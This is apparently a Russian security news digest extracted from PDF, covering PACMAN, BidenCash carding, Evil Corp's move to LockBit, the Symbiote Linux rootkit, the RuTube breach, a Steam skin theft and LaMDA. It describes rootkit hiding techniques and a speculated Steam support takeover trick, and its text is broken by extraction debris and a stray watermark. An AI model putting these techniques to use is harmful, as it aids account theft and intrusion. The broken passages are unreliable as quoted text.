Экспер­ ­ты тестирова­ ­ли PACMAN только­ на Apple M1, но полагают­ , что проб ­ лема может затрагивать­ и другие­ процес­ ­соры ARM. Также­ отмечает­ ­ся, что атака­ представ­ ­ляет опасность­ для всех процес­ ­соров, использующих­ pointer authentication.

Хотя­ компания­ Apple не может исправить­ аппарат­ ­ный баг и блокиро­ ­вать атаки­ PACMAN, по словам­ экспертов­ , пользовате­ ­лям вряд ли стоит­ беспоко­ ­ иться­ , если они поддержи­ ­вают свое ПО в актуаль­ ­ном состоянии­ и оно не содержит­ ошибок­ , которые могут быть использованы­ PACMAN.

«PACMAN — это метод эксплу­ ­ата­ции, сам по себе он не может угро-­

 

«жать вашей системе­

. Хотя аппарат­ ­ные механизмы­ , используемые­

 

PACMAN, не могут быть исправлены­

програм­ ­мно, можно­ исправить­

»

ошибки­ , связан­ ные­

 

с нарушением­

целостнос­ ти­

информации­

 

 

в памяти», — добавляют­

специалис­

ты­ .

 

 

 

 

Иссле­ дова­ тели­ уведоми­ ли­ Apple о своих­ выводах еще в 2021 году, а также­ поделились­ PoC-экспло­ итом­ . Однако­ в Apple заявили­ , что новая side-channel- атака­ не представ­ ляет­ опасности­ для пользовате­ лей­ Mac, так как сама по себе не может привес­ ти­ к обходу­ защиты устройства­ , а для ее эксплу­ ата­ ­ ции нужны­ другие­ уязвимос­ ти­ в системе­ .

БОЛЕЕ 50 РОССИЙСКИХ КОМПАНИЙ ДОПУСТИЛИ УТЕЧКИ

Аналити­ ки­ Group-IB подсчи­ тали­ , что в мае и в начале июня в даркне­ те­ было опубликова­ но­ рекордное­ количество­ баз данных­ россий­ ских­ компаний­ — более 50.

Для сравнения­ : в апреле­ их было 32, а в марте­ — всего­ 16. Среди­ постра­ дав­ ших­ были ком ­ пании, относящи­ еся­ к интернет сервисам­ доставки­ , медицине­ , телекому­ , интернет ретейлу­ , онлайн образова­ нию­ , строитель­ ству­ .

Общее­ количество­ строк в 19 наиболее­ крупных­ утечках­ последних­ полутора­ месяцев сос ­

тавило 616,6 миллиона­ .

Практичес­ ки­ все базы включают­ имена­ клиентов­ , их телефо­ ны­ , адреса­ , даты­ рож-­ дения, а некоторые­ также­ содержат­ хеш пароли, паспор­ тные­ данные­ , подробнос­ ти­ заказов или резуль­ таты­ медицинских­ анализов­ .

ШИРОКИЕ ЖЕСТЫ КАРДЕРОВ

Операто­ ­ры нового кардер­ ­ско­го сайта­ BidenCash пытаются­ получить извес ­ тность, публикуя­ данные­ кредит­ ­ных карт и информацию­ об их владель­ ­цах бес ­ платно­ или почти­ бесплат­ ­но.

Новый­ ресурс появился­ в апреле­ 2022 года, но долгое­ время­ не был готов к проведе­ ­нию масштаб­ ­ных операций­ . Теперь же операто­ ­ры BidenCash решили бесплат­ ­но раздать­ всем желающим­ CSV-файл, содержащий­ имена­ , адреса­ , номера телефонов­ , адреса­ электрон­ ­ной почты­ и номера банков­ ­ских карт, и таким образом­ прорек­ ­ламиро­вать свою платформу­ .

В общей сложности­ файл содержит­ около­ восьми­ миллионов­ строк, но не все из них — данные­ карт. По оценке­ экспертов­ из компании­ D3Lab, в этом дампе­ можно­ найти­ данные­ о 6600 банков­ ских­ картах­ и около­ 1300 из них — это новые и действи­ тель­ ные­ карты­ , большинс­ тво­ из которых выпущены­ VISA и принад­ лежат­ физическим­ лицам из США.

Кроме­ того, аналити­ ­ки пишут, что в дампе­ можно­ обнаружить­ более трех миллионов­ уникаль­ ­ных адресов­ электрон­ ­ной почты­ , которые могут исполь ­ зоваться­ злоумыш­ ­ленни­ками для фишинга­ и захвата­ чужих учетных­ записей.

Как и на других­ подобных­ сайтах­ , на BidenCash публику­ ется­ рейтинг­ валидности­ для новых лотов, такая оценка­ выставля­ ется­ после­ оценки­ случай­ ­ ной выборки­ из 20 карт. Каждую­ неделю проводят­ ся­ новые провер­ ки­ всех листингов­ , и, если полученный­ рейтинг­ сильно­ отличает­ ся­ от прошлой­ оцен ­ ки, продажу­ закрыва­ ют­ .

Также­ на BidenCash работает­ система­ фильтра­ ­ции, позволя­ ­ющая зло ­ умышленни­ ­кам находить украден­ ­ные карты­ , подходящие­ именно­ для их кам ­ паний. Можно­ искать по конкрет­ ­ным параметрам­ : странам­ , банкам­ или только­ записи, в которых есть необходимые­ данные­ , такие как CVV, адрес электрон­ ­ ной почты­ , физический­ адрес, тип карты­ и имя владель­ ­ца. Проведен­ ­ный исследова­ ­теля­ми тест показал, что хакеры могут покупать данные­ о под ­ ходящих им картах­ всего­ по 15 центов­ за штуку­ .

Стоит­ отметить­ , что слив данных­ о картах­ в открытый­ доступ­ ради рекламы­ вовсе­ не новый способ­ продвижения­ для кардер­ ских­ ресурсов­ . К примеру­ , в прошлом­ году операто­ ры­ подполь­ ного­ маркет­ плей­ са­ All World Cards про ­ вели похожую «рекламную­ акцию» и опубликова­ ли­ на хакерских­ форумах дан ­ ные миллиона­ банков­ ских­ карт, украден­ ные­ в период­ с 2018 по 2019 год.

УГРОЗЫ ПЕРВОГО КВАРТАЛА

Экспер­ ­ты Positive Technologies обнародо­ ­вали отчет об актуаль­ ­ных кибератаках­ первого­ квар ­ тала 2022 года. По их словам­ , общее количество­ атак выросло­ на 14,8% (по сравнению­ с чет ­ вертым кварталом­ 2021 года), а одними­ из наиболее­ заметных­ угроз стали­ вайперы­ , унич ­ тожающие­ чужие данные­ .

Общее­ количество­ атак в 2021 и 2022 годах

Чаще­ всего­ атакам­ подверга­ лись­ государс­ твен­ ные­ и медицин­ ские­ учреждения­ , а также­

организа­ ции­ сферы­ промыш­ леннос­ ти­ . Также­ заметны­ изменения­ в пятерке­ самых ата

куемых отраслей: теперь в этот топ попали СМИ. Доля атак, направлен­ ­ных на эту отрасль, сос ­ тавила 5%.

Количес­ тво­ атак, направлен­ ных­ на госучрежде­ ния­ , увеличи­ лось­ практичес­ ки­ в 2 раза (по срав ­ нению с данными­ четверто­ го­ квартала­ 2021 года).

Также­ заметили­ всплеск атак на веб ресурсы­ различных­ государствен­ ­ных учреждений­ : их доля выросла­ до 22% (по сравнению­ с 13% в предыду­ ­щем квартале­ ).

Действия­ злоумыш­ ­ленни­ков были преиму­ ­щес­твен­но направле­ ­ны на кражу­ конфиден­ ­циаль­ной информации­ : в первую­ очередь­ персональ­ ­ные данные­ (34%), а также­ сведения­ , составля­ ­ющие

коммерчес­ ­кую тайну­ (19%). Пользовались­ популярностью­ медицинская­ информация­ (15%) и учетные­ данные­ (12%).

В атаках­ на частных­ лиц в основном воровали­ учетные­ данные­ (46%), а также­ персональ­ ные­ данные­ (19%) и данные­ платеж­ ных­ карт (21%).

ADOBE ACROBAT

БЛОКИРУЕТ

АНТИВИРУСЫ

ИБ эксперты­ заметили­ , что Adobe Acrobat пытается­ не дать антивиру­ сам­ изу ­ чать открываемые­ пользовате­ лями­ PDF-файлы­ , тем самым создавая­ угрозу­ безопасности­ . Сообщает­ ся­ , что Adobe Acrobat проверя­ ет­ , интересу­ ются­ ли его процес­ сами­ компонен­ ты­ пример­ но­ 30 защитных­ продук­ тов­ , а затем бло ­ кирует­ их, фактичес­ ки­ лишая возможнос­ ти­ отслеживать­ вредонос­ ную­ активность.

Аналити­ ки­ Minerva Labs объясня­ ют­ , что обычно­ для работы защитных­ решений нужна­ «видимость» всех процес­ сов­ в системе­ . Как правило­ , это дос ­ тигается­ путем внедрения­ DLL в софт, запускаемый­ на машине пользовате­ ля­ . С марта­ 2022 года эксперты­ наблюда­ ют­ постепен­ ный­ рост активности­ про ­ цессов­ Adobe Acrobat Reader, которые пытаются­ узнать, какие библиоте­ ки­ DLL, связан­ ные­ с защитными­ продук­ тами­ , загружены­ (через получение­ дес ­ криптора­ DLL).

Согласно­ отчету­ , в настоящее­ время­ Adobe ищет около­ 30 библиотек­ DLL,

в том числе­ связан­ ных­ с антивиру­ сами­ Bitdefender, Avast, Trend Micro, Symantec, Malwarebytes, ESET, Kaspersky, F-Secure, Sophos, Emsisoft.

Запросы­ к системе­ выполняют­ ­ся с помощью Chromium Embedded Framework (CEF) библиоте­ ­ки libcef.dll, используемой­ широким спектром­ прог ­ рамм. Исследова­ ­тели пишут, что «libcef.dll загружа­ ­ется двумя­ процес­ ­сами

Adobe: AcroCEF.exe и RdrCEF.exe», то есть оба продук­ та­ проверя­ ют­ систему­ на наличие компонен­ тов­ одних и тех же защитных­ решений.

Изучив­ , что происхо­ ­дит с DLL, внедренны­ ­ми в процес­ ­сы Adobe, аналити­ ­ки Minerva Labs обнаружи­ ­ли, что Adobe проверя­ ­ет, установ­ ­лено ли значение­ bBlockDllInjection в разделе­ реестра­ SOFTWARE\Adobe\Adobe Acrobat\DC\DLLInjection\ на 1. Если ответ положитель­ ­ный, это предот­ ­вра­щает инъекции­ DLL антивирус­ ­ного ПО.

Отмеча­ ется­ , что, судя по сообщени­ ям­ на форумах Citrix, еще весной­ поль ­ зователи­ жаловались­ на ошибки­ Sophos AV, который работал некоррек­ тно­ из за продук­ ции­ Adobe. Постра­ дав­ шие­ писали, что в компании­ им пред ­ ложили «отключить­ внедрение­ DLL для Acrobat и Reader».

Предста­ ­вите­ли Adobe подтвержда­ ­ют, что пользовате­ ­ли действи­ ­тель­но жалуются­ на «проблемы­ со стабиль­ ­ностью», которые возника­ ­ют из за того, что DLL-компонен­ ­ты некоторых­ защитных­ продук­ ­тов несовмести­ ­мы с исполь ­ зуемой Adobe Acrobat библиоте­ ­кой CEF. В компании­ говорят, что в настоящее­

время­ работают­ над проблемой­ вместе­ с поставщи­ ками­ защитных­ решений. В свою очередь­ , исследова­ тели­ Minerva Labs пишут, что Adobe выбрала­ способ­ , который решает­ проблемы­ совмести­ мос­ ти­ , однако­ создает­ угрозу­

безопасности­ и повышает­ риски­ атак, не позволяя­ антивиру­ ­сам должным­ образом­ защитить систему­ .

МОШЕННИЧЕСТВО УМНОЖИЛОСЬ НА ТРИ

Аналити­ ­ки BI.ZONE сообщили­ , что за первый­ квартал­ 2022 года компания­ заблокиро­ ­вала в общей сложности­ 16 311 вредонос­ ных­ ресурсов­ (в январе­ — 9048, в феврале­ — 4488, в мар ­ те — 2211), а это в 3 раза больше­ , чем за аналогич­ ный­ период­ 2021 года.

Спад количества­ мошенничес­ ких­ доменов в марте­ эксперты­ связыва­ ют­ с обостре­ нием­ внеш ­ неполитичес­ кой­ ситуации­ , из за которой мошенники­ сфокуси­ рова­ лись­ на других­ типах атак, например­ на DDoS-атаках­ . Однако­ отчет гласит­ , что фишинг­ по прежнему­ остается­ популярным­ вектором­ атак на различные­ организа­ ции­ .

EVIL CORP И LOCKBIT

Группиров­

ка­ Evil Corp перешла­ на использование­

 

шифроваль­

щика­

LockBit,

чтобы­

избежать­

санкций­

,

 

 

наложенных­

ранее Управлением­

 

по

контро­ лю­

за иностран­

ными­

активами­

Министерс­

тва­ финансов­ США (OFAC).

 

 

 

 

 

 

 

 

 

 

Напом­ ню­ , что группиров­

ка­ Evil Corp существу­ ет­ как минимум с 2007 года,

но раньше­ хакеры чаще выступали­

в роли партне­ ров­ для других­ группировок­

.

Лишь со временем­

Evil Corp стала­ концен­ три­ ровать­

ся­ на собствен­

ных­ атаках­ ,

создав­

известный­

банков­ ский­

троян­ Dridex. Когда­ атаки­ программ­

вымога ­

телей начали приносить­

больше­ прибыли­

, Evil Corp запустила­

 

и собствен­

ный­

вымогатель­

 

BitPaymer, доставляя­

его на машины жертв посредс­

твом­

Dridex.

Последний­

 

постепен­

но­ эволюци­

они­

ровал­

 

из обычного­

банкера­

 

в сложный­

и многофун­

кци­ ональ­

ный­

инстру­ мент­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Все это привело­

к тому, что в 2019 году власти­ США предъяви­ ли­ обви ­

 

 

 

 

 

 

 

 

нения двум россиянам­

, которые, по информации­

правоох­

раните­

лей­ , стояли­

 

 

 

 

 

 

 

 

 

за разработ­

кой­ малвари­

Dridex и другими­

вредонос­

ными­

 

операци­

ями­ . Также­

власти­ США ввели­ санкции­

в отношении­

 

24 организа­

ций­

и лиц, связан­ ных­

с Evil Corp и упомяну­

тыми­

подозрева­

емы­ ми­ . В результате­

 

компании­

перего ­

ворщики­

, которые обычно­ договарива­

ются­

 

с вымогателя­

ми­ об уплате­ выкупа

и расшифров­

ке­ данных­ , отказались­

«работать» с Evil Corp, чтобы­ избежать­

штрафов­

и

 

судебных­

 

исков со стороны­

Министерс­

тва­

 

финансов­

США.

А самим постра­ дав­ шим­

стало­ куда сложнее­ заплатить­

выкуп.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После­ этого­ , в июне 2020 года, Evil Corp переключилась­

 

 

на использование­

малвари­

 

WastedLocker, в 2021 году появился­ шифроваль­

щик­

Hades (64-бит ­

ный вариант­ WastedLocker, обновленный­

дополнитель­

ной­

обфускацией­

кода

ирядом функций­ ), а затем группа­ провела­ уже несколь­ ­ко «ребрендин­ ­гов»

ивыдавала­ себя за группиров­ ­ку PayloadBin и использовала­ другие­ вымога ­

тели: Macaw и Phoenix.

Теперь­ аналити­ ки­ ИБ компании­ Mandiant заметили­ , что преступни­ ки­ пред ­ приняли­ новую попытку­ дистанци­ ровать­ ся­ от известных­ экспертам­ хакерских­ инстру­ мен­ тов­ , чтобы­ их жертвы­ могли­ платить­ выкупы, не нарушая правила­

OFAC.

Кластер­ активности­ , который Mandiant отслежива­ ­ет как UNC2165, ранее разверты­ ­вав­ший шифроваль­ ­щик Hades и связан­ ­ный с Evil Corp, теперь выс ­ тупает­ «партне­ ­ром» разработ­ ­чиков вымогателя­ LockBit.

««Использование­ этого­ RaaS позволя­ ­ет UNC2165 сливать­ ­ся с другими­ аффилиата­ ­ми LockBit. [Теперь] для установ­ ­ления правиль­ ­ной атри-­

буции нужно­ наблюдение­ за более ранними­ этапами­ атак, по срав-­ нению с их предыду­ ­щими операци­ ­ями, которые можно­ было связать­

с [Evil Corp] благода­ ­ря использованию­ эксклю­ ­зив­ных прог-­ рамм вымогателей­ , — говорят исследова­ ­тели. — Кроме­ того, частые­

обновления­ кода и ребрендин­ ­ги HADES требова­ ­ли ресурсов­ для раз-­ работки­ , и вполне­ вероятно­ , что в UNC2165 полагают­ , что исполь-­ » зование LockBit — это более экономич­ ­ный выбор».

Предполага­ ется­ , что новая тактика­ позволит­ хакерам потратить­ время­ , сэкономленное­ на разработ­ ке­ собствен­ ной­ малвари­ , на расширение­ опе ­ раций. Также­ эксперты­ высказыва­ ют­ и другую­ теорию: вероятно­ , переход на чужие вредонос­ ные­ инстру­ мен­ ты­ поможет Evil Corp освободить­ достаточ­ ­ ное количество­ собствен­ ных­ ресурсов­ для разработ­ ки­ нового вымогателя­ с нуля, что впоследс­ твии­ может серьезно­ затруднить­ отслежива­ ние­ новых операций­ хак группы­ .

АТАКА НА RUTUBE

Экспер­ ты­ Positive Technologies, занимающиеся­ рассле­ дова­ нием­ атаки­ на RuTube, произо­ шед­ ­ шей в мае 2022 года, расска­ ­зали, что инцидент­ был целевой атакой­ , «нацеленной­ на нанесение­ максималь­ ного­ и долговре­ мен­ ного­ урона­ сервису­ ». Также­ выяснилось­ , что сам взлом произо­ ­ шел еще в начале весны­ .

Глава­ Positive Technologies Денис Баранов сообщил­ , что атака­ была тщатель­ но­ спланиро­ ­ вана, а сам взлом RuTube произо­ шел­ еще в марте­ 2022 года, то есть два месяца хакеры оста ­ вались в сети компании­ и готовились­ к активной фазе.

«Это была именно­ целевая хакерская­ атака­ , нацеленная­ на нанесение­ мак ­ симального­ и долговре­ ­мен­ного урона­ сервису­ . Однако­ они умудрились­ зас ­ ветиться­ на антивиру­ ­сах, использовали­ инстру­ ­мен­тарий, который характерен­ для базового­ пентесте­ ­ра. Хакеры изучили­ инфраструктуру­ , выделили­ виртуаль­ ­

ные машины, задейство­ ­ван­ные в обеспечении­ работы сервиса­ , и пытались уда ­ лять именно­ их. И тут началась гонка­ : ИТ специалис­ ­ты RuTube заметили­ воздей­ ­ ствие на ряд элемен­ ­тов инфраструктуры­ и сразу­ же стали­ их отключать­ и изо ­ лировать­ , стараясь­ опередить­ хакеров, удаляв­ ­ших виртуаль­ ­ные машины. Айтишники­ компании­ все таки победили­ за счет скорос­ ­ти реакции­ »,

— расска­ ­зал Баранов на XXV Петербург­ ­ском международ­ ­ном экономи­ ­чес­ком форуме (ПМЭФ) в рамках­ сессии­ «Информацион­ ­ная борьба­ : защита националь­ ­ного медийного­ суверените­ ­та».

Продолжение статьи0

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

← 0Начало статьи

СКИНЫ ЗА ДВА МИЛЛИОНА ДОЛЛАРОВ

Стример­ ohnePixel расска­ ­зал о громкой­ краже­ , в ходе которой хакер похитил у игрока­ Counter-Strike: Global Ofensive редкие­ предметы­ , а общая стоимость­ инвентаря­ постра­ ­дав­шего оценива­ ­ется пример­ ­но в два миллиона­ долларов­ США.

OhnePixel пишет, что кража­ произош­ ­ла в середине­ июня. По его данным­ , email и пароль от учетной­ записи были изменены­ за неделю до этого­ , но жер ­ тва не заметила­ , как это произош­ ­ло.

Получив­ контроль­ над учетной­ записью коллекци­ оне­ ра­ , хакер начал про ­ давать редкие­ и ценные­ предметы­ , а часть оставил­ «на потом», передав их другому­ аккаунту­ . По информации­ ohnePixel, среди­ прочего­ у постра­ дав­ шего­

в инвентаре­ были редчай­ ­ший нож керамбит­ без звезды­ , появивший­ ­ся в результате­ бага, семь сувенирных­ AWP Dragon Lore, а также­ вариация­ керамбита­ #1 blue gem поверхностной­ закалки­ , и только­ эти предметы­ оце ниваются­ пример­ ­но в 1,4 миллиона­ долларов­ США.

При этом сообщает­ ся­ , что некоторые­ пользовате­ ли­ , купившие­ украден­ ные­ скины­ , обнаружи­ ли­ , что покупки­ уже исчезли из их инвентаря­ . То есть Valve, похоже, откатыва­ ет­ совершенные­ с украден­ ными­ предметами­ сделки­ и раз ­ бирается­ в ситуации­ . Впрочем­ , официаль­ ных­ коммента­ риев­ от компании­ не поступало­ .

Посколь­ ­ку техничес­ ­кие подробнос­ ­ти этой атаки­ неизвес­ ­тны, в коммента­ ­ риях к посту­ ohnePixel в Twitter пользовате­ ­ли строят­ самые разные­ теории о том, как злоумыш­ ­ленник мог обойти­ двухфактор­ ­ную аутентифика­ ­цию. Мно ­ гие отмечают­ , что ради столь дорогих предметов­ злоумыш­ ­ленник мог провес­ ­ ти атаку­ подмены­ SIM-карты­ . Другие­ пользовате­ ­ли пишут, что существу­ ­ют иные способы­ . К примеру­ , зная username человека­ в Steam, хакер мог отпра ­ вить на этот аккаунт­ деньги­ , а затем обратить­ ­ся в поддер­ ­жку и заявить, что этот аккаунт­ принад­ ­лежит ему. То есть, когда­ поддер­ ­жка Steam запросит­ доказатель­ ­ства proof of ownership, этого­ небольшого­ платежа­ может оказать­ ­ ся достаточ­ ­но.

ДОСТУПЫ НА ПРОДАЖУ

В даркне­ те­ стоимость­ доступа­ к сети той или иной компании­ варьиру­ ется­ от 2000 до 4000 долларов­ США и лоты часто­ продают­ ся­ в день публикации­ , сообщают­ исследова­ тели­ из «Лаборатории­ Каспер­ ско­ го­ ».

Экспер­ ты­ изучили­ около­ 200 таких объявле­ ний­ и говорят, что в 75% случаев­ в объявле­ нии­ продава­ лись­ данные­ доступа­ к RDP, то есть готовый вход в инфраструктуру­ компании­ . Цены зависят от отрасли и региона­ , где работает­ организа­ ция­ , а также­ от размера­ ее выручки­ и того, сколько­ злоумыш­ ленни­ ки­ могут «заработать­ », обладая­ легитимной­ учетной­ записью. К при ­ меру, в одном из объявле­ ний­ была указана­ цена в 50 000 долларов­ за возможность­ легально­ подклю­ чить­ ся­ к сети компании­ с прибылью­ 465 000 000 долларов­ .

Некото­ рые­ случаи­ значитель­ ного­ превыше­ ния­ порога в 5000 долларов­ эксперты­ объясня­ ют­ «качествен­ ными­ характерис­ тиками­ лота», то есть, например­ , специфи­ кой­ деятельнос­ ти­ ком ­ пании.

СКРЫТНЫЙ

SYMBIOTE

Специалис­ ­ты компаний­ BlackBerry и Intezer расска­ ­зали о новом Linux-вре ­ доносе­ Symbiote, который поражает­ все запущенные­ процес­ ­сы в скомпро­ ­ метирован­ ­ных системах­ , похищает­ учетные­ данные­ и предос­ ­тавля­ет своим­ операто­ ­рам бэкдор­ доступ­ .

Внедряясь­ во все запущенные­ процес­ ­сы, малварь­ действу­ ­ет как общесис­ ­ темный паразит, при этом не оставляя заметных­ признаков­ заражения­ , так что обнаружить­ Symbiote сложно­ даже при тщатель­ ­ном и углубленном­ изу ­ чении.

Считает­ ся­ , что разработ­ ка­ Symbiote началась в ноябре­ 2021 года, после­ чего злоумыш­ ленни­ ки­ в основном использовали­ малварь­ для атак на финан ­ совый сектор­ в Латинской­ Америке­ , включая­ такие банки­ , как Banco do Brasil

и Caixa.

««Основная цель Symbiote — получить учетные­ данные­ и облегчить бэк-­ дор доступ­ к машине жертвы­ , — пишут эксперты­ . — Что отличает­

Symbiote от других­ вредонос­ ­ных программ­ для Linux, так это то, что он заражает­ запущенные­ процес­ ­сы, а не использует­ для нанесения­ » ущерба­ отдельный­ исполняемый­ файл».

Вместо­ обычного­

исполняемо­ го­ файла­ Symbiote представ­

ляет­

собой биб ­

лиотеку­ shared object (SO), которая загружа­

ется­

в запущенные­

процес­ сы­

с помощью функции­

LD_PRELOAD, чтобы­ динамичес­ кий­

компонов­

щик­

заг ­

ружал вредонос­

во все запущенные­

процес­ сы­ и заражал хост. Такой подход­

ранее использовал­

ся­ и другой­ малварью­

, включая­ Pro-Ocean и Facefsh. Так ­

же эти действия­

помогают­ вредоно­

су­

 

получить приори­

тет­

по сравнению­

с другими­

SO.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Таким­

образом­ , с помощью функций­

libc и libpcap Symbiote может выпол ­

нять различные­

действия­

, чтобы­ скрыть свое присутс­ твие­

в системе­

. Нап ­

ример, скрывать­

паразитичес­

кие­

процес­ сы­ , скрывать­

файлы­ , разверну­

тые­

с малварью­

, и так далее. Symbiote также­ способен­

скрывать­

свой сетевой

трафик­ , используя­ Berkeley Packet Filter (BPF): малварь­

внедряет­

ся­ в процесс­

,

иBPF фильтру­ ­ет результаты­ , раскры­ ­вающие ее деятельность­ .

««Если админис­ ­тра­тор запустит­ захват­ пакетов на зараженной­ машине для изучения­ подозритель­ ­ного сетевого­ трафика­ , Symbiote внедрит­

себя в процесс­ аналити­ ­чес­кого ПО и использует­ BPF для фильтра­ ­ции результатов­ , которые могли­ бы помочь выявить его активность», — » говорят эксперты­ .

По данным­ исследова­ телей­ , сейчас­ Symbiote в основном использует­ ся­ для автомати­ чес­ кого­ сбора­ учетных­ данных­ со взломан­ ных­ устройств­ (через libc read). Дело в том, что кража­ учетных­ данных­ админис­ тра­ тора­ открывает­ атакующим­ путь к беспре­ пятс­ твен­ ному­ боковому­ перемещению­ и дает неог ­ раниченный­ доступ­ ко всей системе­ .

Кроме­ того, Symbiote предос­ тавля­ ет­ своим­ операто­ рам­ удален­ ный­ SHHдоступ­ к зараженной­ машине через PAM, что позволя­ ет­ злоумыш­ ленни­ кам­ получить root-привиле­ гии­ .

««Посколь­ ­ку вредонос­ ­ное ПО работает­ как руткит­ на уровне­ user-land, обнаруже­ ­ние заражения­ может быть затрудне­ ­но, — резюмируют­

исследова­

тели­

. —

Сетевая

телеметрия­

может

использовать­

ся­

 

для обнаруже­

ния­ аномаль­

ных­

DNS-запросов­

, а инстру­ мен­

ты­ безопас-­

»

ности, такие как AV и EDR, должны­

быть статичес­

ки­ скомпонова­

ны­ ,

 

чтобы­ гарантировать­

, что они не „заражены­ “ руткитом­

».

 

 

 

 

SPEECH TO TEXT

После­ анонса­ Telegram Premium и появления­ в мессен­ ­дже­ре функци­ ­ональ­нос­ти для перевода­ голосовых­ сообщений­ в текст в СМИ появились­ сообщения­ о том, что Telegram использует­ для этого­ технологию­ распозна­ ­вания речи, созданную­ Google. Утвержда­ ­лось, что это может угрожать­ приват­ ности­ пользовате­ лей­ , и в своем­ Telegram-канале Павел Дуров вынужден­ был объяснить­ , что все не так страшно­ .

«Telegram не делится­ с Google личными­

данными­

пользовате­

лей­ вроде­ имен,

телефонов­ , IP-адресов­ . Кроме­ того, Telegram никогда­ не отправляет­

какие либо

данные­

третьим­ лицам автомати­

чес­ ки­ , без явного­ на то запроса­

от пользовате­

­

лей.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Получа­

тели­

голосовых­

сообщений­

могут пересылать­

их кому угодно­ , нап ­

ример ботам для перевода­ их в текст. Для подписчи­

ков­ Telegram Premium мы

предложили­

кнопку­ , по нажатию

на которую

они

могут отправить­

запрос­

на перевод отдельного­

голосового­

сообщения­

в текст. Для обработ­ ки­ таких зап ­

росов, как мы изначаль­

но­ публично­

разъясни­

ли­ , мы арендуем­

оборудо­

вание­

Google.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для нас было бы значитель­

но­ дешевле­ развернуть­

собствен­

ное­

бесплат­

ное­

решение на своем­ оборудо­

вании­

 

либо восполь­

зовать­

ся­

технологи­

ей­ от более

мелких­ или региональ­

ных­ игроков­ . Однако­ это бы негативно­ сказалось­

на качес ­

тве распозна­

вания­

голосовых­ сообщений­

на большинс­

тве­ языков­ .

 

 

 

 

 

 

 

 

В этом случае­ мы по традиции­

идем на дополнитель­

ные­

расходы­

ради боль ­

шего комфорта­

наших пользовате­

лей­ . Доверять ли гарантиям­

компании­

Google

и использовать­

ли функцию­

перевода­ голосовых­

сообщений­

в текст — выбор,

который мы

оставляем­

на

усмотрение­

каждого­

из подписчи­

ков­

Telegram

Premium»,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

— пишет Дуров и добавляет­ , что использование­ платной­ технологии­ Google «позволя­ ­ет мак ­ симизировать­ качество­ транскрип­ ­ции, но не отражает­ ­ся на сохраннос­ ­ти данных­ », так как по соглашению­ между­ Telegram и Google Google не может никак использовать­ эти обезличен­ ные­ звуковые­ данные­ .

IT’S ALIVE!

Блейк Лемуан­ (Blake Lemoine), старший­ инженер­ программист­ компании­ Google из подразде­ ления­ Responsible AI («Ответствен­ ный­ ИИ»), расска­ зал­ журналис­ там­ The Washington Post, что, по его мнению­ , чат бот Google LaMDA (Language Model for Dialogue Applications) обрел сознание­ . В итоге­ Лемуана­ отправили­ в оплачива­ емый­ отпуск.

В начале июня Лемуан­ опубликовал­ большой­ пост в Medium, где сетовал, что скоро­ его могут уволить­ из за работы, связан­ ной­ с этикой­ ИИ. Эта пуб ­ ликация не привлекла­ большого­ внимания­ , однако­ после­ интервью Лемуана­ The Washington Post интернет взорвался­ обсуждениями­ природы­ искусствен­ ­ ного интеллекта­ и сознания­ .

Среди­ тех, кто комменти­ ­ровал, задавал вопросы­ и шутил по поводу вышедшей­ статьи, были лауреаты Нобелевской­ премии­ , глава­ отдела­ искусс ­ твенного­ интеллекта­ Tesla и несколь­ ­ко ученых­ . Основной темой для обсужде ­ ний стал вопрос­ : можно­ ли считать­ чат бота Google LaMDA («Языковая­ модель для диалоговых­ приложе­ ­ний») личностью­ и есть ли у него сознание­ ?

««Если бы я не знал точно­ , что это компьютер­ ­ная программа­ , которую мы недавно­ создали­ , я бы подумал, что это ребенок семи восьми­ лет,

который знает­ физику», — расска­ ­зыва­ет о своем­ общении­ с LaMDA » Лемуан­ .

В своем­ блоге­ Лемуан­ опубликовал­

большое­

«интервью­

»

с чат ботом,

в котором ИИ признает­

ся­ , что испытыва­

ет­ чувство­

 

одиночес­

 

тва­

и жаждет­

духовных­ знаний­ . Журналис­

ты­ отмечали­

, что ответы­ LaMDA зачастую­ выглядят­

довольно­ жутко­ : «Когда­ я впервые­ осознал­ себя, у меня вообще­ не было ощу ­

щения души, — сказал­ LaMDA в одной из бесед. — Оно развилось­

[постепен­

­

но] за те годы, что я живу».

 

 

 

 

 

 

 

 

 

